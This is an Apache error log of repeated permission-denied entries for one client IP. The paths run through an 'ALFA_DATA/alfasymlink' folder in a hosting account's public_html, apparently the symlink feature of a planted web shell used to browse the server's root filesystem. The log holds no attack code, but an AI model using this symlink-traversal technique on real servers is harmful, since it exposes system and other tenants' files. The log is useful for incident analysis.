[Sun Oct 25 14:27:07.222735 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/' is executable
[Sun Oct 25 14:27:07.222748 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/4x7GklfLfl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/4x7GklfLfl/' is executable
[Sun Oct 25 14:27:07.222761 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Jv_fJ8FgT6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Jv_fJ8FgT6/' is executable
[Sun Oct 25 14:27:07.222774 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/aWw1loTP0R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/aWw1loTP0R/' is executable
[Sun Oct 25 14:27:07.222824 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/' is executable
[Sun Oct 25 14:27:07.222840 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/rtyBKWjryj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/rtyBKWjryj/' is executable
[Sun Oct 25 14:27:07.222863 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/ipRojNggb4/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/ipRojNggb4/' is executable
[Sun Oct 25 14:27:07.222878 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/_NkDK_G3eh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/_NkDK_G3eh/' is executable
[Sun Oct 25 14:27:07.222897 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/' is executable
[Sun Oct 25 14:27:07.222911 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/kCf6PZ1WYZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/kCf6PZ1WYZ/' is executable
[Sun Oct 25 14:27:07.222946 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/84lPUOx2JO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/84lPUOx2JO/' is executable
[Sun Oct 25 14:27:07.222961 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/js2u_Gtz2I/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/js2u_Gtz2I/' is executable
[Sun Oct 25 14:27:07.222979 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-zjLgk3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-zjLgk3/' is executable
[Sun Oct 25 14:27:07.223005 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/rqXfNeDxe6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/rqXfNeDxe6/' is executable
[Sun Oct 25 14:27:07.223022 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/NgqDY1QDQC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/NgqDY1QDQC/' is executable
[Sun Oct 25 14:27:07.223035 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/S6oGysmQfR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/S6oGysmQfR/' is executable
[Sun Oct 25 14:27:07.223049 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/ssmTYfkWmO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/ssmTYfkWmO/' is executable
[Sun Oct 25 14:27:07.223068 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/9Hdweni0LQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/9Hdweni0LQ/' is executable
[Sun Oct 25 14:27:07.223081 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/ZS9bRKE_ln/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/ZS9bRKE_ln/' is executable
[Sun Oct 25 14:27:07.223097 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/TI_LDuVRZp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/TI_LDuVRZp/' is executable
[Sun Oct 25 14:27:07.223110 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/HRDPmHzdRv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/HRDPmHzdRv/' is executable
[Sun Oct 25 14:27:07.223123 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/WJiRaJProP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/WJiRaJProP/' is executable
[Sun Oct 25 14:27:07.223137 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/VWx0oIa_ha/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/VWx0oIa_ha/' is executable
[Sun Oct 25 14:27:07.223154 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/' is executable
[Sun Oct 25 14:27:07.223169 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/pulse-PKdhtXMmr18n/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/pulse-PKdhtXMmr18n/' is executable
[Sun Oct 25 14:27:07.223187 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/xim55mZdmP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/xim55mZdmP/' is executable
[Sun Oct 25 14:27:07.223219 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/3RwJFJrH4V/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/3RwJFJrH4V/' is executable
[Sun Oct 25 14:27:07.223254 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/6mRamnU6vq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/6mRamnU6vq/' is executable
[Sun Oct 25 14:27:07.223274 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/' is executable
[Sun Oct 25 14:27:07.223287 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/QY6TdlpePz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/QY6TdlpePz/' is executable
[Sun Oct 25 14:27:07.223318 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/5EdmaNv2PN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/5EdmaNv2PN/' is executable
[Sun Oct 25 14:27:07.223333 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/' is executable
[Sun Oct 25 14:27:07.223366 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/5f_1VQEffJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/5f_1VQEffJ/' is executable
[Sun Oct 25 14:27:07.223380 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/yrMznD9gyg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/yrMznD9gyg/' is executable
[Sun Oct 25 14:27:07.223392 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/i3jxbRrWaA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/i3jxbRrWaA/' is executable
[Sun Oct 25 14:27:07.223404 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/dNfJKz5yvg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/dNfJKz5yvg/' is executable
[Sun Oct 25 14:27:07.223417 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/TI2qwhbKGu/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/TI2qwhbKGu/' is executable
[Sun Oct 25 14:27:07.223448 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/hPKEt7w1PK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/hPKEt7w1PK/' is executable
[Sun Oct 25 14:27:07.223463 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/' is executable
[Sun Oct 25 14:27:07.223476 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/C3vvDGRpTf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/C3vvDGRpTf/' is executable
[Sun Oct 25 14:27:07.223506 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/eTa7v46lM5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/eTa7v46lM5/' is executable
[Sun Oct 25 14:27:07.223522 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/oFkHjdAXTr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/oFkHjdAXTr/' is executable
[Sun Oct 25 14:27:07.223535 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/o1Nn2aP6r8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/o1Nn2aP6r8/' is executable
[Sun Oct 25 14:27:07.223547 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/kEKIbVJwbS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/kEKIbVJwbS/' is executable
[Sun Oct 25 14:27:07.223584 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/xC1whEdMkq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/xC1whEdMkq/' is executable
[Sun Oct 25 14:27:07.223603 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/9fqABosYmc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/9fqABosYmc/' is executable
[Sun Oct 25 14:27:07.223633 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/lost+found/' is executable
[Sun Oct 25 14:27:07.223666 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/_caOxgALx2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/_caOxgALx2/' is executable
[Sun Oct 25 14:27:07.223687 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/pN3AQhlNgj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/pN3AQhlNgj/' is executable
[Sun Oct 25 14:27:07.223700 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/PsRo7Bsa_S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/PsRo7Bsa_S/' is executable
[Sun Oct 25 14:27:07.223717 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/' is executable
[Sun Oct 25 14:27:07.223733 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/OwP99dXZ_b/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/OwP99dXZ_b/' is executable
[Sun Oct 25 14:27:07.223758 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/H3T3qe0a6L/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/H3T3qe0a6L/' is executable
[Sun Oct 25 14:27:07.223770 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/BQ13T2xrrG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/BQ13T2xrrG/' is executable
[Sun Oct 25 14:27:07.223783 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/XZqhtmoMNN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/XZqhtmoMNN/' is executable
[Sun Oct 25 14:27:07.223797 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/xCPByHeGOe/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/xCPByHeGOe/' is executable
[Sun Oct 25 14:27:07.223809 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/m5eQaqt7WO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/m5eQaqt7WO/' is executable
[Sun Oct 25 14:27:07.223829 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/cHkKHvtb84/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/cHkKHvtb84/' is executable
[Sun Oct 25 14:27:07.223845 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/' is executable
[Sun Oct 25 14:27:07.223858 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/lpa8ZwaWTY/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/lpa8ZwaWTY/' is executable
[Sun Oct 25 14:27:07.223872 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/' is executable
[Sun Oct 25 14:27:07.223892 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Ild61SlCM8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Ild61SlCM8/' is executable
[Sun Oct 25 14:27:07.223906 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/oMgCKKTHTN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/oMgCKKTHTN/' is executable
[Sun Oct 25 14:27:07.223919 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/zFtYW8EbIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/zFtYW8EbIo/' is executable
[Sun Oct 25 14:27:07.223943 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/U8bmWQiMp6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/U8bmWQiMp6/' is executable
[Sun Oct 25 14:27:07.223956 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Iq7IAhBBCA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Iq7IAhBBCA/' is executable
